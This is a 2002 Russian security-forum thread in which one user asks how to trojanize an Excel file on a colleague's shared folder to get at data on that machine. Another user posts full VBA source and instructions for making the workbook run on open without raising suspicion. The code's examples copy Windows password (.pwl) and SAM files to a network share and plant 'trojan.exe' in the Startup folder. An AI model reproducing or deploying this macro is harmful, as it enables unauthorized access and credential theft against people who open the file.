информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Где водятся OGRыВсе любят медЗа кого нас держат?
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Бэкдор в xz/liblzma, предназначенный... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / programming
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
VB xls macros подскажите, я не специалист 18.04.02 15:25  
Автор: Wud <Леха> Статус: Member
<"чистая" ссылка>
Я не знаток VB я специализируюсь на delphi.
Вот такая забавная задача: Есть локалка, в ней есть компьютер у которого зашарена папка с паролем. Паролик не проблема, в папке exel файлики...
Цель: Добавить в xls файлик макрос который бы умел либо расшаривать диски, либо копировать файл на тот комп в нужную директорию...
Ну соответственно чтобы потом его запустить.
Я не знаю, может конечно есть другие варианты, но пока не вижу.
Уж больно хочется получить инфу с того компа. Слишком она серьезна...
[Win32] макрос за 3 секунды 19.04.02 10:19  
Автор: paganoid Статус: Member
Отредактировано 19.04.02 10:21  Количество правок: 1
<"чистая" ссылка>
> Цель: Добавить в xls файлик макрос который бы умел либо
> расшаривать диски,

тут придётся немножко повозиться с API ф-ями, но это вполне реально

>либо копировать файл на тот комп в
> нужную директорию...

а вот это совсем просто.

> Ну соответственно чтобы потом его запустить.

самое оптимальное , если у тебя есть доступ к реестру или директорию C:\Program Files\Microsoft Office\Office\XLStart\ . Тогда можно сделать так, что Excel не заорет и все пройдет тихо и гладко. Иначе будут предупреждения о макросах и бла бла бла. Также можно наделить макросом файлик,в котором уже есть макросы.

> Я не знаю, может конечно есть другие варианты, но пока не
> вижу.
> Уж больно хочется получить инфу с того компа. Слишком она
> серьезна...

напишу тебе этот макрос за 3 минуты. А что хорошего за это будет :) ? (273ю статью не предлагать ;) , будем считать, что это ты себя тестируешь )
Может это пригодится? >>> 19.04.02 10:57  
Автор: Wud <Леха> Статус: Member
<"чистая" ссылка>
> напишу тебе этот макрос за 3 минуты. А что хорошего за это
> будет :) ?

Я неплохой электронщик, даже более - микроэлектронщик, и так себе программист - Delphi, MicroAsm for Kontroller
Имею профессиональные знания по системам эл.безопасности(видеонаблюдение, охр.сигнализации,контроль доступа, профессиональный взлом таких устройств :))) )

Может что-то из этой области?
Может это пригодится? >>> 19.04.02 12:02  
Автор: paganoid Статус: Member
<"чистая" ссылка>
> > напишу тебе этот макрос за 3 минуты. А что хорошего за
> это
> > будет :) ?
>
> Я неплохой электронщик, даже более - микроэлектронщик, и
> так себе программист - Delphi, MicroAsm for Kontroller
> Имею профессиональные знания по системам
> эл.безопасности(видеонаблюдение, охр.сигнализации,контроль
> доступа, профессиональный взлом таких устройств :))) )
>
> Может что-то из этой области?

окей, обращусь к тебе тоже за консультацией :)

Тогда расскажи пока, какой Excel (97/2000), какой доступ есть и есть ли доступ к реестру. Есть ли файлы с макросами. В какую директорию класть. Слать ли тебе готовую книгу на мыло или тут выложить и т.п.
[Win32] забирай 19.04.02 14:16  
Автор: paganoid Статус: Member
<"чистая" ссылка>
вотщем вот файлик, мож кому еще пригодится.

Открываешь *.xls (желательно , чтобы в файле уже были макросы, чтобы не вызывать подозрений ). Заходишь в среду VBA (Alt + F11). Добавляешь в книжку обычный модуль (Вставка>Модуль). Туда копируешь текст от сюда. Изучаешь, следуешь инструкциям. Жмёшь Save. При повторном открытии, если все сделал верно, будет желаемое действо.

---- CopierModule.bas -----

Option Explicit

'сделано paganoid'ом  в 2002 году
'
'для использования исключительно в ознакомительных и мирных целях
'
'копирует при запуске все файлы из заданной директории в заданную.
'примеры - далее в коде.
'
'по некоторым соображениям исходники несколько покоцаны (в смысле
'орфография и пунктуация НЕ сохранены ;) )
'
'напоминаю, что 272 и 273ю статью за НСД еще никто не отменял.
'также подчёркиваю, что данный файл в "дефолтной поставке"
'абсолютно безвреден (более того, полезен, как программная библиотека)
'и может быть сделан вредоносным исключительно путем модификации исходного кода
'злоумышленником. Т.ч. к автору никаких претензий, плиз.
'

'лог файл в целевой директории, в который пишется отчет, сколько чего откель скопировали
Const LogFileName As String = "copylog.txt"
Const DLM As String = "\"

'''______команды_на_копирование_лежат_здесь_(закомментаренные)_________________________________
'эта процедура (StartCopy) должна выполняться при открытии рабочей книги
'для этого в дереве проекта нужно дважды тыкнуть на ThisWorkbook
'и вставить одну (раскомментаренную ессна) заветную строчку:
'
'   Private Sub Workbook_Open():  StartCopy: End Sub
'
''тогда при запуске (после вопроса о макросах), сразу выполнится следущая процедура
'Public Sub StartCopy()
'  On Error Resume Next
''  'копирует все файлы паролей Win9х в расшаренную сетевую папку
''  CopyFiles "c:\WINDOWS\", "\\NETWORK\PATH", "*.pwl"
''  'копирует резервные копии файлов реестра NT в расшаренную сетевую папку
''  CopyFiles "c:\WINNT\", "\\NETWORK\PATH", "sam._"
''  CopyFiles "c:\WINNT\", "\\NETWORK\PATH", "sam.sav"
''  'заливает трояна в директорию автозапуска NT
''  CopyFiles "\\NETWORK\PATH\TROJAN", "C:\WINNT\Profiles\All Users\Start Menu\Programs\Startup\", "trojan.exe"
''  '...и т.п., все что нужно
'End Sub

'''____далее_следует_внутреннее_устройство____________________________________
'Копирует (рекурсивно) файлы по маске из одной директории в другую
Public Sub CopyFiles(ByVal SrcDir As String, ByVal TrgDir As String, Optional ByVal FileMask As String = ., Optional Recurse As Boolean = True)
  Dim v As Variant
  Dim i As Long
  Dim l As Long
  Dim cf As String
  Dim tf As String
  v = ff(FileMask, SrcDir, , Recurse)
  If IsArray(v) Then
    l = UBound(v)
    la TrgDir, CStr(l) & " file(s) match condition " & FileMask & " in directory " & SrcDir & ". All of them are copied (maybe ;)"
    For i = 0 To l
      cf = spth(SrcDir, TrgDir, v(i))
      crf gdfp(cf)
      FileCopy v(i), cf
    Next
  Else
    la TrgDir, "0 files match condition " & FileMask & " in directory " & SrcDir & " - no files copied"
  End If
End Sub

'Заморочки с поиском файлов, разбором строк, созданием папок и т.п.

Private Sub la(ByVal TrgDir As String, ByVal msg As String, Optional ByVal TimeStamp As Boolean = True)
  Dim fn As Integer
  fn = FreeFile
  Open fws(TrgDir) & LogFileName For Append As #fn
  Print #fn, IIf(TimeStamp, CStr(Now) & vbTab, "") & msg
  Close #fn
End Sub
Private Function gdfp(ByVal p As String) As String
  Dim i As Integer
  Dim bf As Boolean
  i = Len(p)
  While i > 0 And Not bf
    If Strings.Mid(p, i, 1) = DLM Then
      bf = True
    Else
      i = i - 1
    End If
  Wend
  gdfp = Strings.Mid(p, 1, i)
End Function
Private Function splt(ByVal Str As String, ByVal Delim As String) As Variant
  Dim i As Integer
  Dim Strs() As String
  Dim npo As Integer
  Dim ico As Integer
  Dim bs As Boolean
  i = 1
  ico = -1
  While Not bs
    npo = InStr(i, Str, Delim)
    If npo > 0 Then
      If ico = -1 Then ReDim Strs(0) As String Else ReDim Preserve Strs(ico + 1) As String
      ico = ico + 1
      Strs(ico) = Mid(Str, i, npo - i)
      i = npo + Len(Delim)
    Else
      If ico = -1 Then ReDim Strs(0) As String Else ReDim Preserve Strs(ico + 1) As String
      ico = ico + 1
      Strs(ico) = Mid(Str, i)
      bs = True
    End If
  Wend
  splt = Strs
End Function
Private Sub crf(FolderPath As String)
  Dim i As Integer
  Dim j As Integer
  Dim Good As Boolean
  Dim s As Variant
  Dim Pt As String
  s = splt(FolderPath, DLM)
  j = LBound(s)
  While Not Good
    Pt = ""
    For i = LBound(s) To j
      If Pt = "" Then
        Pt = s(i)
      Else
        Pt = Pt & DLM & s(i)
      End If
    Next
    On Error Resume Next
    MkDir Pt
    If Err.Number = 58 Or Err.Number = 0 Or Err.Number = 75 Then
      j = j + 1
    Else
      On Error GoTo 0
      Err.Raise vbObjectError, , "Shit happens"
    End If
    On Error GoTo 0
    If j > UBound(s) Then Good = True
  Wend
End Sub
Public Function spth(ByVal sd As String, ByVal td As String, ByVal pts As String)
  sd = fws(sd)
  spth = IIf(Left(pts, Len(sd)) = sd, fws(td) & Mid(pts, Len(sd) + 1), fws(td))
End Function
Private Function ff(ByVal fma As String, ByVal spth As String, Optional atbts As Long = 0, Optional ByVal r As Boolean = True) As Variant
  Dim i As Long
  Dim j As Long
  Dim tmp As Variant
  Dim sdli As Variant
  Dim dl() As String
  Dim mn As String
  Dim dls As Long
  dls = -1
  mn = Dir(spth, atbts Or VbFileAttribute.vbDirectory)
  Do While mn <> ""
    If mn <> "." And mn <> ".." Then
      If mn Like fma Then
        If (GetAttr(spth & mn) And atbts) = atbts Then
          If dls = -1 Then
            ReDim dl(0) As String
          Else
            ReDim Preserve dl(dls + 1) As String
          End If
          dls = dls + 1
          dl(dls) = spth & mn
        End If
      End If
    End If
    mn = Dir()
  Loop
  If r Then
    sdli = sbfl(spth)
    If IsArray(sdli) Then
      For j = 0 To UBound(sdli)
        tmp = ff(fma, fws(sdli(j)), atbts)
        If Information.IsArray(tmp) Then
          For i = 0 To UBound(tmp)
            If dls = -1 Then
              ReDim dl(0) As String
            Else
              ReDim Preserve dl(dls + 1) As String
            End If
            dls = dls + 1
            dl(dls) = tmp(i)
          Next
        End If
      Next
    End If
  End If
  ff = IIf(dls = -1, Empty, dl)
End Function
Private Function fws(ByVal fp As String) As String
  fws = IIf(fp Like ("*" & DLM), fp, fp & DLM)
End Function
Private Function sbfl(ByVal spth As String) As Variant
  Dim dl() As String
  Dim mn As String
  Dim dls As Integer
  Dim i As Integer
  dls = -1
  mn = Dir(spth, VbFileAttribute.vbDirectory)
  Do While mn <> ""
    If mn <> "." And mn <> ".." Then
      If (GetAttr(spth + mn) And VbFileAttribute.vbDirectory) = VbFileAttribute.vbDirectory Then
        If dls = -1 Then
          ReDim dl(0) As String
        Else
          ReDim Preserve dl(dls + 1) As String
        End If
        dls = dls + 1
        dl(dls) = spth + mn
      End If
    End If
    mn = Dir()
  Loop
  sbfl = IIf(dls = -1, Empty, dl)
End Function


---
--- EOF ----
Класс 19.04.02 17:14  
Автор: PS <PS> Статус: Elderman
<"чистая" ссылка>
Всегда знал, что любую задачку требующую одну строку можно сделать на пять листов :)
например переписать документ в нужную директорию можно так:
ThisDocument.SaveAs "d:/t666.doc"

Другой вопрос как все эти макросы собираются внедрить в документ ? Если к нему есть доступ, что бы прописать макрос - то нафига этот макрос там нужен ? Опять же, если доступа нет - макрос бесполезный.
И что делать если отрублена возможность запускать любые макросы ?
[Win32] Класс 19.04.02 17:49  
Автор: paganoid Статус: Member
<"чистая" ссылка>
> Всегда знал, что любую задачку требующую одну строку можно
> сделать на пять листов :)

:))

> например переписать документ в нужную директорию можно так:
> ThisDocument.SaveAs "d:/t666.doc"

я так понял, что он хочет через расшаренную папку получить доступ ко всей машине, протроянив некую книгу Excel.

>
> Другой вопрос как все эти макросы собираются внедрить в
> документ ? Если к нему есть доступ, что бы прописать макрос
> - то нафига этот макрос там нужен ?

у него есть доступ к одной папке и ничего кроме *.xls совать туда нельзя

Опять же, если доступа
> нет - макрос бесполезный.
> И что делать если отрублена возможность запускать любые
> макросы ?

тады ой :)
Elsi ty "не специалист" po golove poluchit` ne boishsia? 19.04.02 03:28  
Автор: + <Mikhail> Статус: Elderman
<"чистая" ссылка>
Я не это имел ввиду... 19.04.02 11:00  
Автор: Wud <Леха> Статус: Member
<"чистая" ссылка>
Не специалист - слишком громко сказано...
Ну да - не занимался VB, но с остальным все в порядке....
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach